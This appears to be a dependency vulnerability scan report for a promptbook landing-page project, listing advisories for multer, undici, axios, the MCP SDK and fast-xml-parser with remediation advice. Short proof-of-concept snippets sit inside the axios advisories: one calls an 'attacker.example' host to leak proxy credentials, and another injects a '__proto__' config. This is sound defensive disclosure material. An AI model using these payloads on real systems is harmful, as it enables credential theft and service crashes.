Vulnerabilities

148 via 642 paths

Dependencies

1140

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 148
  • 1
Severity
  • 4
  • 61
  • 75
  • 9
Status
  • 149
  • 0
  • 0

critical severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.

Remediation

Upgrade multer to version 2.0.1 or higher.

References

critical severity

CRLF Injection

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection in the parseSetCookie. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning.

Note: This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.

Workaround

This vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: @modelcontextprotocol/sdk
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @modelcontextprotocol/sdk@1.24.3

Overview

@modelcontextprotocol/sdk is a Model Context Protocol implementation for TypeScript

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the UriTemplate processing when handling RFC 6570 exploded array patterns. An attacker can cause excessive CPU consumption and make the Node.js process unresponsive by supplying a URiTemplate like '/users{/id*}', which is applied to malicious input like users/user1,user2,user3,...FAIL/, causing catastrophic backtracking.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @modelcontextprotocol/sdk to version 1.25.2 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a __proto__ property, typically by leveraging JSON.parse().

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://domain/get", maliciousConfig);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.30.3, 1.13.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
